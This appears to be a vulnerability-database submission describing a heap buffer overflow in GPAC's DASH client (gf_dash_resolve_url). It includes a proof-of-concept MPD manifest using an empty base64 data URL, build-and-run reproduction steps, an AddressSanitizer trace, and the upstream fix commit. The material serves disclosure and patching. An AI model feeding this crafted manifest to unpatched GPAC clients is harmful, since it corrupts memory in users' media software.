| Título | gpac GPAC 26.07.0 and below Memory Corruption |
|---|
| Descrição | A heap-based buffer overflow write exists in gf_dash_resolve_url() in src/media_tools/dash_client.c of GPAC (github.com/gpac/gpac). When a DASH MPD manifest declares an initialization segment as a "data:;base64," URL, gf_mpd_resolve_url() allocates the output URL buffer sized exactly for the original URL text (14 bytes for the minimal value "data:;base64,"). gf_dash_resolve_url() then rewrites that same buffer in place with: sprintf(*out_url, "%s%s", scheme, b_url); where scheme is "gpac://" and b_url is a freshly built "gmem://<pointer>" string (~21 bytes). The combined write is typically 29 bytes into the 14-byte heap object, overflowing it by 15 bytes. The crash reproduces with AddressSanitizer (stable heap-buffer-overflow WRITE of size 29 at 0 bytes after a 14-byte region) and also on a vanilla GCC build without sanitizers (glibc "free(): invalid size" / SIGSEGV), confirming real heap corruption rather than an ASan artifact. Proof of Concept (poc.mpd): <MPD xmlns="urn:mpeg:dash:schema:mpd:2011" type="static" mediaPresentationDuration="PT2S" minBufferTime="PT1S"> <Period> <AdaptationSet mimeType="video/mp4"> <Representation id="1" bandwidth="100" codecs="avc1.4d401e" width="320" height="240"> <SegmentTemplate initialization="data:;base64," media="data:;base64,A" startNumber="1" duration="1000"/> </Representation> </AdaptationSet> </Period> </MPD>Reproduction: git clone --depth 1 https://github.com/gpac/gpac.git && cd gpac CC=clang CFLAGS="-fsanitize=address -g -O1" LDFLAGS="-fsanitize=address" ./configure --use-zlib=no && make -j ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 ./bin/gcc/MP4Box -info poc.mpd ASan excerpt (master 2fd5a06): ==ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 29 at 0x50200000769e thread T0 #2 libgpac.so gf_dash_resolve_url #3 libgpac.so gf_dash_download_init_segment 0x50200000769e is located 0 bytes after 14-byte region [0x502000007690,0x50200000769e) allocated by gf_mpd_resolve_url ==ABORTING Attack vector: local crafted MPD file; remote when GPAC runs as a DASH streaming client and fetches an attacker-controlled manifest. Fixed by upstream commit 24e52d0a6001 (2026-08-24, "dash: resize data URL before blob rewrite"), which gf_realloc's the buffer before the snprintf rewrite. |
|---|
| Fonte | ⚠️ https://github.com/gpac/gpac/issues/3876 |
|---|
| Utilizador | zzxzzb (UID 95450) |
|---|
| Submissão | 01/09/2026 10h39 (há 29 dias) |
|---|
| Moderação | 30/09/2026 09h49 (29 days later) |
|---|
| Estado | Aceite |
|---|
| Entrada VulDB | 411908 [GPAC até 26.07.0 DASH Client dash_client.c gf_dash_resolve_url Excesso de tampão] |
|---|
| Pontos | 20 |
|---|